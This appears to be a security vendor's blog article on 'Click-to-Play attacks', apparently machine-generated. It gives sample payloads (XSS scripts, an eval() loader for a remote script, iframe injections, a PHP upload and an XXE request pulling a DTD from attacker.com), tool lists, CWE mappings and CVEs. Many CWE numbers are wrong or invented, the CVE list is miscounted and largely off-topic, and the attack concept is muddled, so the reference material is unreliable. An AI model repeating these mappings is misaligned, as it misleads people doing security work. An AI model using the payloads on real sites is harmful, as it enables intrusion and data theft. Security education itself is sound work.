20 Feb, 2023

Click-to-Play Attacks

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Click-to-Play (CTP) attacks do not have a formal abbreviation or title. They are commonly referred to simply as “Click-to-Play attacks” or sometimes “CTP attacks.”

Click-to-Play attacks are a type of cyber attack in which a user is tricked into clicking on a link or button that appears to be legitimate, but actually initiates a malicious script or download. The goal of a Click-to-Play attack is typically to install malware on the victim’s computer, steal sensitive information such as login credentials or personal data, or gain unauthorized access to a computer system. Click-to-Play attacks can be highly effective, as they often rely on social engineering tactics to trick users into clicking on a malicious link or downloading a harmful file. To protect against CTP attacks, it is important to exercise caution when clicking on links or downloading files from unknown sources, and to keep your software and security systems up to date.

Types of Click-to-Play attacks

Click-to-Play (CTP) attacks can take many different forms, but some of the most common types include:

  1. Malicious website redirects: This type of CTP attack involves redirecting a user to a fake website that appears to be legitimate, but is designed to steal sensitive information or install malware.

  2. Fake software downloads: This type of CTP attack involves tricking a user into downloading software that appears to be legitimate, but actually contains malware or other harmful code.

  3. Phishing scams: Phishing scams use social engineering tactics to trick users into providing sensitive information, such as login credentials or personal data. Click-to-Play attacks may be used to redirect users to a fake login page or other phishing site.

  4. Watering hole attacks: A watering hole attack involves compromising a legitimate website that is frequented by a specific group of users, such as employees of a particular company. When the targeted users visit the compromised site, they may be prompted to click on a link or download a file that initiates a CTP attack.

  5. Drive-by downloads: A drive-by download is a type of CTP attack that initiates a download of malware or other harmful code when a user visits a compromised website.

  6. Rogue software installations: This type of CTP attack involves tricking a user into installing rogue software, such as a fake antivirus program or system optimizer, that actually contains malware or other harmful code.

Examples of different requests that can be used to test Click-to-Play attacks

Burp Suite is a popular web application security testing tool that can be used to analyze and test for Click-to-Play (CTP) attacks. Some examples of different requests.

GET and POST requests:

A GET request is a type of HTTP request that retrieves data from a web server.

				
					GET /login.php?username=attacker&password=123456 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://example.com/
Cookie: session=12345; user_id=67890
				
			

This GET request is requesting the login.php page with the username and password parameters set to attacker and 123456, respectively. It also includes various HTTP headers, such as the user agent, accept language, and cookies.

A POST request is a type of HTTP request that submits data to a web server.

				
					POST /register.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

username=attacker&password=123456&email=evil@hacker.com
				
			

This POST request is submitting the username, password, and email data to the register.php page. It includes various HTTP headers, such as the user agent, accept language, and content type.

JavaScript requests:

A JavaScript request is a type of request that uses JavaScript code to interact with a web server.

				
					<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://example.com/malicious-script.js', true);
  xhr.onreadystatechange = function() {
    if (this.readyState === 4 && this.status === 200) {
      eval(this.responseText);
    }
  };
  xhr.send();
</script>
				
			

This JavaScript request is using the XMLHttpRequest object to make a GET request to the malicious-script.js file on the example.com server. It then uses the eval() function to execute the response text.

GET request with JavaScript:

				
					GET /search.php?q=<script>alert('XSS')</script> HTTP/1.1
Host: example.com
				
			

This GET request is searching for a query string parameter named “q” with the value “<script>alert(‘XSS’)</script>”. This value includes JavaScript code that will trigger an alert popup when the search results are displayed.

POST request with JavaScript:

				
					POST /submit-comment HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 36

{"comment": "<script>alert('XSS')</script>"}
				
			

This POST request is submitting a comment to the example.com server using JSON (JavaScript Object Notation) data. The comment data includes JavaScript code that will trigger an alert popup when the comment is displayed.

Note that JavaScript can also be included in other types of requests, such as form submissions, file uploads, and AJAX requests.

AJAX requests:

An AJAX request is a type of request that uses Asynchronous JavaScript and XML (AJAX) to load data from a web server without refreshing the entire page.

				
					$.ajax({
    url: 'https://example.com/malicious-script.php',
    type: 'POST',
    data: {username: 'attacker', password: '123456'},
    dataType: 'json',
    success: function(response) {
        if (response.status === 'success') {
            eval(response.data);
        }
    },
    error: function(xhr, status, error) {
    console.log(error);
}
});
				
			

This AJAX request is using the jQuery library to make a POST request to the malicious-script.php file on the example.com server. It sends the username and password data and expects a JSON response. If the response status is “success”, it uses the eval() function to execute the response data.

Here is an example of an AJAX request with the HTTP method GET:

				
					$.ajax({
    type: "GET",
    url: "/api/get_data",
    data: {
        id: 123,
        name: "John Doe"
    },
    success: function(response) {
        console.log(response);
    }
});
				
			

In this example, a GET request is being made to the endpoint “/api/get_data” with two query string parameters, “id” and “name”, set to 123 and “John Doe” respectively. The response from the server is then logged to the console.

Here is an example of an AJAX request with the HTTP method POST:

				
					POST /submit-comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
X-Requested-With: XMLHttpRequest

comment=Hello+world%21
				
			

This AJAX request is submitting a comment to the example.com server using the XHR (XMLHttpRequest) object. It uses the POST method and the application/x-www-form-urlencoded content type to send the comment data.

The X-Requested-With header is set to XMLHttpRequest, which is a common convention used by AJAX requests to identify themselves to the server.

The request body contains the comment data, which is encoded in the application/x-www-form-urlencoded format. In this example, the comment is “Hello world!”.

Note that AJAX requests can also use other HTTP methods, such as POST, PUT, and DELETE, and can include request bodies with data in various formats, such as JSON, XML, or form data.

Iframe requests:

An iframe request is a type of request that loads content from another website within an iframe on a web page.

				
					<iframe src="https://malicious-site.com"></iframe>
				
			

This iframe request is loading the malicious-page.html file from the example.com server within an iframe on a web page.

GET request with an iframe:

				
					GET /index.php?page=<iframe src="https://malicious-site.com"></iframe> HTTP/1.1
Host: example.com
				
			

This GET request is requesting a page with a query string parameter named “page” that includes an iframe. The src attribute of the iframe is set to a URL for a malicious site.

POST request with an iframe:

				
					POST /submit-comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

comment=<iframe src="https://malicious-site.com"></iframe>
				
			

This POST request is submitting a comment to the example.com server with an iframe included in the comment data. The src attribute of the iframe is set to a URL for a malicious site.

Note that iframes can also be included in other types of requests, such as JSON data or AJAX requests.

Object requests:

An object request is a type of request that loads an object, such as a Flash animation or a Java applet, from a web server.

				
					<object type="application/x-shockwave-flash" data="https://example.com/malicious-flash.swf">
    <param name="movie" value="https://example.com/malicious-flash.swf">
    <param name="allowScriptAccess" value="always">
</object>
				
			

This object request is loading the malicious-flash.swf file from the example.com server. It uses both the object data and the param name/value attributes to define the Flash animation and allow script access.

Image requests:

An image request is a type of request that loads an image file from a web server.

				
					<img decoding="async" class="lazyload" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-src="https://example.com/malicious-image.jpg"><noscript><img decoding="async" class="lazyload" src="https://example.com/malicious-image.jpg"></noscript>
				
			

This image request is loading the malicious-image.jpg file from the example.com server. It is a simple example, but image requests can also be used to load other types of content, such as JavaScript or CSS files.

Link requests:

A link request is a type of request that loads a web page or resource when a user clicks on a link.

				
					<a href="https://example.com/malicious-page.html">Click here to view the malicious page</a>
				
			

This link request is loading the malicious-page.html file from the example.com server when a user clicks on the hyperlink text.

Form requests:

A form request is a type of request that is submitted when a user fills out and submits a form on a web page.

				
					<form action="https://example.com/malicious-form.php" method="post">
    <input type="text" name="username">
    <input type="password" name="password">
    <input type="submit" value="Submit">
</form>
				
			

This form request is submitting the username and password data to the malicious-form.php file on the example.com server when the user clicks the submit button.

File upload requests:

				
					POST /upload.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------16890064901016227981240124924
Content-Length: 1024

-----------------------------16890064901016227981240124924
Content-Disposition: form-data; name="file"; filename="malicious-file.php"
Content-Type: application/octet-stream

<?php echo "I am a malicious file!"; ?>

-----------------------------16890064901016227981240124924--
				
			

This file upload request is sending a malicious-file.php file to the upload.php file on the example.com server. It uses the multipart/form-data content type and a boundary string to separate the different parts of the request.

The request body contains the file data, which is encapsulated within a form-data section. The section includes a name parameter of “file”, which is the key that the server will use to access the file data. The filename parameter is set to “malicious-file.php”, which is the name of the file being uploaded. The Content-Type parameter is set to application/octet-stream, which is a generic binary data type.

The actual file data is included in the request body between the boundary strings. In this example, the file data is a simple PHP script that echoes a message to indicate that it is a malicious file.

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: multipart/related; boundary="boundary"

--boundary
Content-Type: text/xml; charset=utf-8
Content-Transfer-Encoding: 8bit

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % ext SYSTEM "http://attacker.com/external.dtd">
  %ext;
]>
<message>&payload;</message>

--boundary
Content-Type: application/octet-stream
Content-Transfer-Encoding:

				
			

In this example, external DTD file hosted on the attacker’s domain. The DTD file includes additional entities, such as “payload”, that can be used to execute the XXE attack. The attack payload is included as an attachment to the request.

It is important to note that these attacks are just the tip of the iceberg and there are many variations and combinations of attacks that can be used to exploit XXE vulnerabilities.

Examples of Click-to-Play attacks exploitation

Click-to-Play (CTP) attacks can be exploited by attackers in various ways depending on the specific vulnerability they are targeting.

General examples of how an attacker might exploit a CTP attack:

  1. Injection attacks: Attackers can use CTP attacks to inject malicious code into the web application or website. For example, an attacker might use a CTP attack to inject a script that steals user credentials or sensitive information.

  2. Cross-site scripting (XSS): Attackers can use CTP attacks to execute malicious scripts on the victim’s browser. For example, an attacker might use a CTP attack to inject a script that redirects the user to a malicious website or steals sensitive information from the user’s browser.

  3. Malware delivery: Attackers can use CTP attacks to deliver malware to the victim’s computer. For example, an attacker might use a CTP attack to trick the user into downloading and executing a malicious file.

  4. Social engineering: Attackers can use CTP attacks to trick users into performing actions that compromise their security. For example, an attacker might use a CTP attack to trick the user into entering their login credentials on a fake login page.

CTP attacks are often used in conjunction with other attack techniques, such as phishing or social engineering, to increase their effectiveness.

Privilege escalation techniques Click-to-Play Attacks

  1. Exploiting vulnerabilities in the application or operating system: Attackers can use CTP attacks to exploit known or unknown vulnerabilities in the application or operating system to gain elevated privileges. For example, an attacker might use a CTP attack to exploit a buffer overflow vulnerability in the application and execute arbitrary code with elevated privileges.

  2. Stealing or cracking credentials: Attackers can use CTP attacks to steal or crack credentials, such as usernames and passwords, to gain access to higher levels of privilege. For example, an attacker might use a CTP attack to inject a script that steals the user’s credentials and uses them to gain access to privileged areas of the application.

  3. Leveraging other vulnerabilities: Attackers can use CTP attacks to exploit other vulnerabilities in the application or operating system to gain elevated privileges. For example, an attacker might use a CTP attack to inject a script that exploits a local file inclusion vulnerability to gain access to sensitive files on the system.

  4. Exploiting misconfigured permissions: Attackers can use CTP attacks to exploit misconfigured permissions to gain elevated privileges. For example, an attacker might use a CTP attack to inject a script that modifies the permissions on a file or directory to allow the attacker to execute code with elevated privileges.

General methodology and checklist for testing Click-to-Play Attacks

  1. Identify the target: Determine the target application or system that will be tested for CTP attacks. This could be a web application, a desktop application, or a mobile application.

  2. Determine the attack surface: Identify the potential entry points for CTP attacks. This could include file uploads, input fields, API calls, and other types of user inputs.

  3. Identify the attack vectors: Determine the different types of CTP attacks that could be used to exploit the identified attack surface. This could include HTML, JavaScript, Flash, and other types of media files.

  4. Create the attack payloads: Develop the attack payloads that will be used to test the target application or system. This could include crafted HTML, JavaScript, or other types of media files that contain malicious code.

  5. Test the attack payloads: Use tools such as Burp Suite or OWASP ZAP to test the attack payloads against the target application or system. This could involve manually testing the payloads or using automated testing tools.

  6. Analyze the results: Review the results of the testing to determine if any vulnerabilities or weaknesses were identified. This could involve examining the response of the application or system to the attack payloads or reviewing logs and error messages.

  7. Report the findings: Document any vulnerabilities or weaknesses identified during testing and report them to the relevant stakeholders. This could include developers, system administrators, or security teams.

  8. Verify remediation: After vulnerabilities have been reported, verify that they have been remediated by testing the application or system again. This is to ensure that the identified vulnerabilities have been properly addressed.

In addition to the above steps, it’s important to keep the following checklist in mind when testing CTP attacks:

Test different browsers and platforms to identify any platform-specific vulnerabilities.

Test different media file types, such as PDFs, images, and videos, to identify any file type-specific vulnerabilities.

Test different user roles and access levels to identify any privilege escalation vulnerabilities.

Test for input validation vulnerabilities to ensure that user inputs are properly sanitized and validated.

Test for session management vulnerabilities to ensure that sessions are properly managed and authenticated.

Test for cross-site scripting (XSS) vulnerabilities, as CTP attacks often involve injecting malicious scripts into web pages.

Test for cross-site request forgery (CSRF) vulnerabilities, as CTP attacks can be used to initiate unauthorized actions on behalf of the user.

By following this methodology and checklist, testers can identify and report vulnerabilities related to CTP attacks and help improve the security of the target application or system.

Tools set for exploiting Click-to-Play Attacks

Manual tools:

1. Burp Suite: A popular web application testing tool that can be used to test for CTP vulnerabilities by intercepting and modifying HTTP requests.
2. OWASP ZAP: Another web application testing tool that can be used to identify and exploit CTP vulnerabilities.
3. Chrome DevTools: A built-in tool in the Google Chrome browser that can be used to debug and test web pages, including identifying and exploiting CTP vulnerabilities.
4. Firebug: A Firefox browser extension that can be used to debug and test web pages, including identifying and exploiting CTP vulnerabilities.
5. Tamper Data: A Firefox browser extension that allows users to view and modify HTTP requests, making it useful for testing CTP vulnerabilities.

Automated tools:

1. Metasploit Framework: A popular penetration testing framework that includes a range of tools and modules for exploiting CTP vulnerabilities.
2. Arachni: An automated web application scanner that can be used to identify and exploit CTP vulnerabilities.
3. SQLMap: An automated tool for identifying and exploiting SQL injection vulnerabilities, which can be used in combination with CTP attacks to escalate privileges.
4. BeEF: A browser exploitation framework that can be used to launch CTP attacks against web browsers.
5. XSStrike: An automated tool for identifying and exploiting cross-site scripting (XSS) vulnerabilities, which can be used in combination with CTP attacks to inject malicious code into web pages.
6. Fiddler: A web debugging proxy tool that can be used to intercept and modify HTTP requests, making it useful for testing CTP vulnerabilities.
7. Vega: A web vulnerability scanner that can be used to identify and exploit CTP vulnerabilities.
8. Nikto: An open-source web server scanner that can be used to identify and exploit CTP vulnerabilities.
9. Nmap: A network exploration and security auditing tool that can be used to identify and exploit CTP vulnerabilities on network devices.
10. Dirbuster: A tool for brute-force testing web directories and files, which can be used to identify and exploit CTP vulnerabilities.

Browser plugins:

1. Web Developer: A Firefox and Chrome browser extension that includes a range of tools for debugging and testing web pages, including identifying and exploiting CTP vulnerabilities.
2. HackBar: A Firefox and Chrome browser extension that can be used to test and modify HTTP requests, making it useful for testing CTP vulnerabilities.
3. FoxyProxy: A Firefox and Chrome browser extension that can be used to intercept and modify HTTP requests, making it useful for testing CTP vulnerabilities.

Testing frameworks:

1. OWASP Testing Guide: A comprehensive testing framework developed by the Open Web Application Security Project (OWASP) that includes guidance on how to test for CTP vulnerabilities.
2. PTES: A penetration testing framework that includes guidance on how to test for CTP vulnerabilities, as well as other types of security weaknesses.

Average CVSS score of Click-to-Play Attacks

The CVSS is a standard method of assessing the severity of security vulnerabilities on a scale of 0 to 10, with 10 being the most severe. The CVSS score takes into account several factors, including the ease of exploitation, the impact on the system, and the level of access required to exploit the vulnerability.

In general, vulnerabilities that allow an attacker to execute malicious code or gain unauthorized access to sensitive data will have a higher CVSS score, while vulnerabilities that have limited impact or require significant effort to exploit will have a lower score.

Many CTP attacks involve exploiting vulnerabilities in web browsers or plugins, which are commonly used to deliver malicious code or steal sensitive information. These attacks can range in severity from low to high, depending on the specific vulnerability being exploited and the level of access required to exploit it.

The Common Weakness Enumeration (CWE) Click-to-Play Attacks

  1. CWE-602: Client-Side Enforcement of Server-Side Security: The use of client-side security mechanisms, such as CTP, can be bypassed by attackers who modify client-side code or traffic to bypass security controls.

  2. CWE-829: Inclusion of Functionality from Untrusted Control Sphere: CTP attacks can result in the inclusion of untrusted code into a trusted environment, allowing for various types of attacks.

  3. CWE-912: Hidden Functionality: CTP attacks can be used to hide malicious functionality or code that is executed when a user clicks on a seemingly legitimate link or button.

  4. CWE-918: Server-Side Request Forgery (SSRF): CTP attacks can be used to trigger SSRF attacks by tricking users into making requests to the attacker’s server instead of the intended target.

  5. CWE-933: Improper Control of Interaction Frequency: CTP attacks can be used to repeatedly prompt users to perform an action, potentially leading to fatigue and user errors.

  6. CWE-937: Predictable Software Weakness: CTP attacks can be caused by predictable or easily guessable patterns in the application’s behavior or user interface.

  7. CWE-943: Overly Permissive Cross-domain Whitelist: CTP attacks can be used to bypass cross-domain restrictions by exploiting overly permissive whitelists.

  8. CWE-999: Improper Privilege Management: CTP attacks can result in improper privilege management by allowing unprivileged users to perform privileged actions.

  9. CWE-1004: Insufficiently Protected Credentials: CTP attacks can be used to steal user credentials or session tokens, allowing attackers to bypass authentication and gain unauthorized access to sensitive resources.

  10. CWE-1021: Improper Restriction of Rendered UI Layers or Frames: CTP attacks can be used to inject malicious content into UI layers or frames, allowing attackers to hijack user interactions or execute malicious code.

  11. CWE-1035: Execution with Unnecessary Privileges: CTP attacks can be used to execute code with unnecessary privileges, potentially allowing attackers to escalate privileges or perform unauthorized actions.

  12. CWE-1059: Session Fixation: CTP attacks can be used to fixate user sessions on a malicious session ID, allowing attackers to hijack user sessions and perform unauthorized actions.

  13. CWE-1062: Insufficiently Protected Data in Transit: CTP attacks can be used to intercept or modify data in transit, potentially leading to data theft or manipulation.

  14. CWE-1105: Use of Cryptographically Weak Pseudo-Random Number Generators (PRNG): CTP attacks can be used to exploit weak PRNGs and predict or manipulate random values, potentially leading to security vulnerabilities.

  15. CWE-1113: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’): CTP attacks can be used to inject malicious SQL commands and manipulate or steal data from databases.

  16. CWE-1135: Improper Cryptography Usage: CTP attacks can be used to exploit improper cryptography usage, potentially leading to data theft or manipulation.

  17. CWE-1140: Cleartext Transmission of Sensitive Information: CTP attacks can be used to intercept or steal sensitive information that is transmitted in clear text.

  18. CWE-1168: Improperly Configured Cross-domain Policy: CTP attacks can be used to bypass cross-domain policies that are not properly configured or enforced.

  19. CWE-1176: Improper Handling of Unicode Encoding: CTP attacks can be used to exploit improper handling of Unicode encoding, potentially leading to security vulnerabilities.

  20. CWE-400: Uncontrolled Resource Consumption (‘Resource Exhaustion’) Description: Click-to-Play Attacks can be used to consume large amounts of system resources, leading to a denial of service (DoS) condition. Example: An attacker may create a webpage that uses an excessive amount of CPU or memory when a user clicks on a button or a link, causing the system to crash or become unresponsive.

  21. CWE-611: Improper Restriction of XML External Entity Reference Description: Click-to-Play Attacks can be used to exploit improper handling of XML external entity (XXE) references, allowing an attacker to read sensitive information or execute remote code. Example: An attacker may create a webpage that includes a malicious XML file with an external entity reference that points to a file containing sensitive information on the victim’s system.

  22. CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’) Description: Click-to-Play Attacks can be used to redirect users to malicious or untrusted websites, leading to phishing or malware attacks. Example: An attacker may create a webpage that uses a Click-to-Play Attack to redirect users to a fake login page for a legitimate website, tricking them into entering their credentials and allowing the attacker to steal them.

  23. CWE-829: Inclusion of Functionality from Untrusted Control Sphere Description: Click-to-Play Attacks can be used to execute code from an untrusted source, allowing an attacker to take control of the victim’s system. Example: An attacker may create a webpage that includes a malicious script from an external site, which is executed when the user clicks on a button or a link, allowing the attacker to take control of the victim’s system.

  24. CWE-352: Cross-Site Request Forgery (CSRF) Description: Click-to-Play Attacks can be used to perform CSRF attacks, allowing an attacker to execute unauthorized actions on behalf of the victim. Example: An attacker may create a webpage that uses a Click-to-Play Attack to trick the victim into executing a malicious action on a legitimate website, such as changing their password or making a purchase.

  25. CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers (‘HTTP Response Splitting’) Description: Click-to-Play Attacks can be used to exploit improper handling of CRLF sequences in HTTP headers, allowing an attacker to inject arbitrary content into a response. Example: An attacker may create a webpage that includes a Click-to-Play Attack that injects a malicious HTTP header into a response, allowing them to steal sensitive information or perform other malicious actions.

  26. CWE-131: Incorrect Calculation of Buffer Size Description: Click-to-Play Attacks can be used to exploit incorrect calculations of buffer size, allowing an attacker to overwrite memory and execute arbitrary code. Example: An attacker may create a webpage that includes a Click-to-Play Attack that causes a buffer overflow in the victim’s browser, allowing them to execute arbitrary code.

  27. CWE-20: Improper Input Validation Description: Click-to-Play Attacks can be used to exploit improper input validation, allowing an attacker to execute malicious actions or steal sensitive information. Example: An attacker may create a webpage that includes a Click-to-Play Attack that exploits a vulnerability in the victim’s browser or a plugin, allowing them to execute arbitrary code or steal sensitive information.

  28. CWE-255: Credentials Management: Could allow an attacker to obtain the user’s login credentials or other sensitive information by exploiting weaknesses in the CTP protection mechanism. For example, an attacker may be able to inject malicious code into a CTP-protected web page that captures the user’s login credentials when they are entered into a form.

  29. CWE-118: Improper Access Control: Could allow an attacker to bypass the CTP protection mechanism and execute malicious content without the user’s knowledge or consent. For example, if the CTP protection is only implemented on certain web pages or certain file types, an attacker may be able to trick the user into visiting a malicious website or opening a malicious file that is not protected by CTP.

  30. CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG): This CWE is related to the use of a weak or predictable random number generator, which can make cryptographic operations, such as generating keys or creating secure communication channels, vulnerable to attack.

  31. CWE-347: Improper Verification of Cryptographic Signature: This CWE is related to the improper verification of cryptographic signatures, which can enable attackers to impersonate trusted entities or modify data without detection.

  32. CWE-352: Cross-Site Request Forgery (CSRF): This CWE is related to the ability of an attacker to force a victim’s browser to execute unauthorized actions on a web application, usually by tricking the victim into clicking a malicious link or visiting a malicious website.

  33. CWE-434: Unrestricted Upload of File with Dangerous Type: This CWE is related to the ability of an attacker to upload files of dangerous types, such as executable files, which can be used to compromise the server or other clients accessing the application.

  34. CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’): This CWE is related to the ability of an attacker to redirect a victim’s browser to an untrusted website, usually by manipulating a URL parameter, which can be used for phishing attacks or to deliver malware.

  35. CWE-807: Reliance on Untrusted Inputs in a Security Decision: This CWE is related to the reliance on untrusted inputs, such as user-supplied data, to make security decisions, such as authentication or access control, which can be exploited by attackers to gain unauthorized access or perform malicious actions.

  36. CWE-918: Server-Side Request Forgery (SSRF): This CWE is related to the ability of an attacker to force a server to make unauthorized requests to other servers or services, which can be used to bypass access controls or obtain sensitive information.

  37. CWE-933: Improper Control of Trusted Path/Channel: This CWE is related to the lack of proper controls over trusted paths or channels, such as network connections or file systems, which can enable attackers to intercept or modify sensitive data.

  38. CWE-943: Improper Neutralization of Special Elements in Data Query Logic: This CWE is related to the improper neutralization of special characters or elements in data queries, which can enable attackers to execute unintended commands or access unauthorized data.

  39. CWE-959: Use of Captured Hashes: This CWE is related to the use of captured password hashes, which can be used to crack passwords or gain unauthorized access to systems or applications.

  40. CWE-963: Race Condition in Switch: This CWE is related to race conditions in switch statements, which can enable attackers to bypass security controls or execute unintended code.

  41. CWE-1168: Improperly Controlled Modification of Dynamically-Determined Object Attributes: This CWE is related to the improper control of object attributes, which can enable attackers to modify or bypass security controls.

  42. CWE-1177: Use of Externally-Controlled Format String: This CWE is related to the use of externally controlled format strings, which can enable attackers to execute arbitrary code or access unauthorized data.

  43. CWE-1200: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’): This CWE is related to buffer overflows, which can enable attackers to execute arbitrary code or crash applications.

  44. CWE-1224: Insecure Storage of Sensitive Information: This CWE is related to the insecure storage of sensitive information, such as passwords or encryption keys, which can be exploited by attackers to gain unauthorized access to systems or applications.

Latests 10 CVEs related to Click-to-Play Attacks

CVE-2023-25171 Kiwi TCMS, an open source test management system, does not impose rate limits in versions prior to 12.0. This makes it easier to attempt denial-of-service attacks against the Password reset page. An attacker could potentially send a large number of emails if they know the email addresses of users in Kiwi TCMS. Additionally that may strain SMTP resources. Users should upgrade to v12.0 or later to receive a patch. As potential workarounds, users may install and configure a rate-limiting proxy in front of Kiwi TCMS and/or configure rate limits on their email server when possible.

• CVE-2023-25156 Kiwi TCMS, an open source test management system, does not impose rate limits in versions prior to 12.0. This makes it easier to attempt brute-force attacks against the login page. Users should upgrade to v12.0 or later to receive a patch. As a workaround, users may install and configure a rate-limiting proxy in front of Kiwi TCMS.

• CVE-2023-24807 Undici is an HTTP/1.1 client for Node.js. Prior to version 5.19.1, the `Headers.set()` and `Headers.append()` methods are vulnerable to Regular Expression Denial of Service (ReDoS) attacks when untrusted values are passed into the functions. This is due to the inefficient regular expression used to normalize the values in the `headerValueNormalize()` utility function. This vulnerability was patched in v5.19.1. No known workarounds are available.

• CVE-2023-24443 Jenkins TestComplete support Plugin 2.8.1 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

• CVE-2023-24441 Jenkins MSTest Plugin 1.0.0 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

• CVE-2023-24430 Jenkins Semantic Versioning Plugin 1.14 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

• CVE-2023-23926 APOC (Awesome Procedures on Cypher) is an add-on library for Neo4j. An XML External Entity (XXE) vulnerability found in the apoc.import.graphml procedure of APOC core plugin prior to version 5.5.0 in Neo4j graph database. XML External Entity (XXE) injection occurs when the XML parser allows external entities to be resolved. The XML parser used by the apoc.import.graphml procedure was not configured in a secure way and therefore allowed this. External entities can be used to read local files, send HTTP requests, and perform denial-of-service attacks on the application. Abusing the XXE vulnerability enabled assessors to read local files remotely. Although with the level of privileges assessors had this was limited to one-line files. With the ability to write to the database, any file could have been read. Additionally, assessors noted, with local testing, the server could be crashed by passing in improperly formatted XML. The minimum version containing a patch for this vulnerability is 5.5.0. Those who cannot upgrade the library can control the allowlist of the procedures that can be used in your system.

• CVE-2023-23922 The vulnerability was found Moodle which exists due to insufficient sanitization of user-supplied data in blog search. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of vulnerable website. This flaw allows a remote attacker to perform cross-site scripting (XSS) attacks.

• CVE-2023-23921 The vulnerability was found Moodle which exists due to insufficient sanitization of user-supplied data in some returnurl parameters. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of vulnerable website. This flaw allows a remote attacker to perform cross-site scripting (XSS) attacks.

• CVE-2023-23856 In SAP BusinessObjects Business Intelligence (Web Intelligence user interface) – version 430, some calls return json with wrong content type in the header of the response. As a result, a custom application that calls directly the jsp of Web Intelligence DHTML may be vulnerable to XSS attacks. On successful exploitation an attacker can cause a low impact on integrity of the application.

The list of CVEs is constantly being updated and full an up-to-date list of all existed Common Vulnerabilities and Exposures (CVEs) for HTTP Request Smuggling vulnerabilities can be found at official CVE website https://cve.mitre.org/

List of popular exploits related to Click-to-Play Attacks

Click-to-Play (CTP) attacks can take advantage of various types of exploits, including those related to web browsers, plugins, and other software vulnerabilities.

  1. Cross-site scripting (XSS) – An XSS attack is used to inject malicious code into a web page that is viewed by other users. This can lead to the theft of sensitive information, such as passwords or credit card details.

  2. Cross-site request forgery (CSRF) – A CSRF attack is used to trick a user into performing an action on a website without their knowledge or consent. This can be used to perform unauthorized transactions or modify sensitive data.

  3. SQL injection – A SQL injection attack is used to inject malicious code into a web application’s database. This can be used to steal sensitive information, modify data, or execute unauthorized commands.

  4. Clickjacking – A clickjacking attack is used to trick a user into clicking on a button or link that performs an unintended action. This can be used to steal sensitive information or perform unauthorized actions on a web page.

  5. Malware – Malware is a type of malicious software that is designed to infect a user’s computer and steal sensitive information. Malware can be delivered through a variety of methods, including CTP attacks.

  6. Drive-by download – A drive-by download is used to download and install malicious software on a user’s computer without their knowledge or consent. This can be done through CTP attacks, by tricking a user into clicking on a link or downloading a file that contains the malware.

  7. Session hijacking – Session hijacking is used to gain unauthorized access to a user’s session on a web application. This can be used to steal sensitive information or perform unauthorized actions on the web application.

  8. Man-in-the-middle (MITM) attack – A MITM attack is used to intercept and modify communications between two parties. This can be used to steal sensitive information or perform unauthorized actions.

  9. Zero-day exploits – A zero-day exploit is a vulnerability that is not yet known to the software vendor or the public. These exploits can be used to perform highly targeted and sophisticated attacks, including CTP attacks.

  10. Watering hole attacks – A watering hole attack is used to target a specific group of users by infecting a website that they are known to visit. This can be used to steal sensitive information or perform unauthorized actions on the users’ computers.

Practice identifying and exploiting Click-to-Play Attacks

If you’re interested in learning about Click-to-Play Attacks, I would recommend the following:

  1. Start by learning the basics of web security and how web applications work. This will give you a foundation to build on as you learn about Click-to-Play Attacks.

  2. Familiarize yourself with Burp Suite or another web proxy tool. These tools are essential for analyzing and manipulating web traffic, which is a critical aspect of Click-to-Play Attacks.

  3. Study common attack scenarios and techniques for Click-to-Play Attacks, such as the ones we’ve discussed earlier in this conversation. Learn how to identify vulnerabilities and exploit them.

  4. Practice your skills in a safe and legal environment. You can use intentionally vulnerable web applications or participate in bug bounty programs to hone your skills.

  5. Stay up to date with the latest research and news in the field of web security. Attend conferences, read research papers, and follow blogs and forums to learn about new techniques and vulnerabilities.

  6. Consider obtaining relevant certifications, such as the Certified Web Application Penetration Tester (CWAPT) or the Offensive Security Certified Professional (OSCP), to demonstrate your knowledge and skills.

Books with review of Click-to-Play Attacks

Here are some highly recommended books on Click-to-Play Attacks:

  1. “The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws” by Dafydd Stuttard and Marcus Pinto – This book is a comprehensive guide to web application security, including Click-to-Play Attacks. It covers the most common vulnerabilities, including those that can be exploited through CTP attacks, and provides detailed examples and techniques for identifying and exploiting them.

  2. “The Tangled Web: A Guide to Securing Modern Web Applications” by Michal Zalewski – This book explores the complex web of technologies and protocols that make up modern web applications, including the vulnerabilities that can be exploited through Click-to-Play Attacks. It provides practical guidance for securing web applications against a wide range of attacks.

